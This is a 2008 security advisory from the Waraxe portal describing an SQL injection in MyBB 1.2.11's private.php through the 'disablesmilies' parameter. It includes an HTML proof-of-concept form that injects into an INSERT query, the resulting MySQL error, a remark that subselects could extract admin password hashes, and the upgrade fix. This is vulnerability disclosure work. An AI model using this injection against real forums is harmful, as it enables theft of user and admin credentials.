Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 2, 2010
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 urlaxe services
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 LifeDork
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: soresger
New Today: 4
New Yesterday: 3
Overall: 6561

People Online:
Visitors: 95
Members: 5
Total: 100

Online Now:
01: Alexiron - Forums
02: annonym - Forums
03: niailuo - Forums
04: skmpz - Forums
05: soresger - Forums
milw0rm
Currently there is a problem with headlines from this site
PacketStorm News
·USN-956-1.txt
·USN-930-3.txt
·disableaslrarm-shellcode. txt
·sumatrapdf-dos.txt
·joomlamyblogcontroller-lf i.txt
·ninkobb-xsrf.txt
·adobearpushstring-corrupt .txt
·adobearnewfunction-corrup t.txt
·adobearnewclass-corrupt.t xt
·adobear1023-overflow.txt

read more...
Security Basics
·Re: Linux or Unix distribution for network sniffing
·iPhone/iPad Application D evelopment - Android Mobi le Application Development
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Is there any way to test the health of a solid state drive?
·Re: Socks Tunnel over SSH
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing

read more...
[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11





Author: Janek Vind "waraxe"
Date: 21. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-64.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "private.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Preconditions:
===============
a) attacker must have logged in as registered user
b) private message system must be enabled

Caused by:
===============
Parameter "disablesmilies" is not sanitized properly before being used in
INSERT sql query.

Explanation:
===============

Let's try this little piece of html code as proof-of-concept:

[--------------- PoC start -------------------------------------------------]
<html><body><center>
<form action="http://localhost/mybb.1.2.11/private.php" method="post">
<input type="hidden" name="action" value="do_send">
<input type="hidden" name="subject" value="f00subject">
<input type="hidden" name="message" value="f00message">
<input type="hidden" name="to" value="waraxe">
<input type="hidden" name="options[disablesmilies]" value="',waraxe,'">
<input type="submit" value="Test!">
</form>
</center></body></html>
[------------- PoC end ----------------------------------------------------]

NB! Parameter "to" must be valid username!

As result of test we can see sql error message:

MySQL error: 1136
Column count doesn't match value count at row 1
Query: INSERT INTO mybb_privatemessages (uid, toid, fromid, folder, subject,
icon, message, dateline, status, includesig, smilieoff, receipt, readtime)
VALUES ('1', '1', '1', '1', 'f00subject', '0', 'f00message', '1200579555',
'0', 'no', '',waraxe,'', '0', '0')

So sql injection security hole exists in INSERT query and in case of mysql
version >= 4.1 by using subselects attacker can fetch arbitrary data from
database, including admin password hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new MyBB version 1.2.12

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-01-21 (6334 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2341
pexli  pexli - 642
vince213333  vince213333 - 604
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 324
y3dips  y3dips - 281
lenny  lenny - 275
tehhunter  tehhunter - 261
SpyderMonkey  SpyderMonkey - 210

M$ Security Bulletins
Currently there is a problem with headlines from this site
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Vuln Watch
·VulnWatch

read more...
alexa
Incidents
·About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About

read more...



Error messages
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2008 Janek Vind "waraxe"

Page Generation: 0.071 Seconds